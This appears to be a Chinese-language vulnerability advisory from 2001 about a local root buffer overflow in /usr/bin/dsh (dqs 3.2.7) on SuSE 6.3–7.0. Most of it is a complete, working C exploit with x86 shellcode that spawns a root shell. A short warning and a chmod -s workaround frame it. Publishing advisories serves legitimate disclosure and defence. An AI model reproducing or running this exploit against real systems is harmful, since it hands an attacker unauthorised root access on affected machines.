发布日期：2001-05-22
更新日期：2001-05-22

受影响系统：

  dqs 3.2.7
       - SusE 6.3
       - SusE 6.4
       - SusE 7.0

描述：

---

SusE 6.3/6.4/7.0缺省携带dqs 3.2.7，其中的/usr/bin/dsh存在一个漏洞，当第一
个参数超长时，发生典型的本地缓冲区溢出。由于/usr/bin/dsh是setuid-to-root了
的，攻击者将获取root权限。

<* 来源：Drake Diedrich, Mantainer (Drake.Diedrich@anu.edu.adu) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

----CUT HERE----

/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root exploit.              */
/* SuSE 6.3, 6.4, and 7.0 are vunerable.                            */
/* dex@raza-mexicana.org <> http://www.raza-mexicana.org            */
/* Saludos: dr_fdisk^, yield, vlad, deadsector, trovalz, fatal,     */
/* megaflop y a todo raza. que weba escribirlos todos XD.           */
/* En especial saludos al espa~olete(NOP) :P, ya sabes porque.      */
/*                                                                  */
/*        - dex@raza-mexicana.org <> http://www.raza-mexicana.org - */
/********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

static char code[]=                      /* stolen from mount.c :P   */

  "\x29\xc0"                             /* subl %eax, %eax          */
  "\xb0\x46"                             /* movb $70, %al            */
  "\x29\xdb"                             /* subl %ebx, %ebx          */
  "\xb3\x0c"                             /* movb $12, %bl            */
  "\x80\xeb\x0c"                         /* subb $12, %bl            */
  "\x89\xd9"                             /* movl %ebx, %ecx          */
  "\xcd\x80"                             /* int $0x80                */
  "\xeb\x18"                             /* jmp callz                */
  "\x5e"                                 /* popl %esi                */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb $0x0b, %al          */
  "\x87\xf3"                             /* xchgl %esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int $0x80                */
  "\xe8\xe3\xff\xff\xff"                 /* call start               */
  "\x2f\x62\x69\x6e\x2f\x73\x68";

void main(int argc, char **argv) {

int i;
unsigned long addr;

char *buffer;

int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;

if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);

buffer = (char *)malloc(buffsize + 8);

addr = get_sp() - offset;

for(i = 0; i < buffsize; i += 4) {
   *(long *)&buffer[i] = 0x90909090;
}

*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;

memcpy(buffer + buffsize - 8 - strlen(code) -
align, code, strlen(code));


printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local root exploit.\n");
printf("[*] - dex@raza-mexicana.org <> http://www.raza-mexicana.org - \n");

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"
);

printf("[*] Address=0x%x, Align=%d, Offset=%d\n", addr, align, offset);

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"
);
printf("[*] Starting....\n");

execl("/usr/bin/dsh", "dsh", buffer, "/etc/motd",  NULL);
}

----EOF----


建议：

---

临时解决方法：

去掉SUID设置

# ls -la /usr/bin/dsh
-rwsr-xr-x    1 root     root       502748 May 18 00:36 /usr/bin/dsh
# chmod -s /usr/bin/dsh
# ls -la /usr/bin/dsh
-rwxr-xr-x    1 root     root       502748 May 18 00:36 /usr/bin/dsh
#

厂商补丁：

暂无



浏览次数：3653
严重程度：0（网友投票）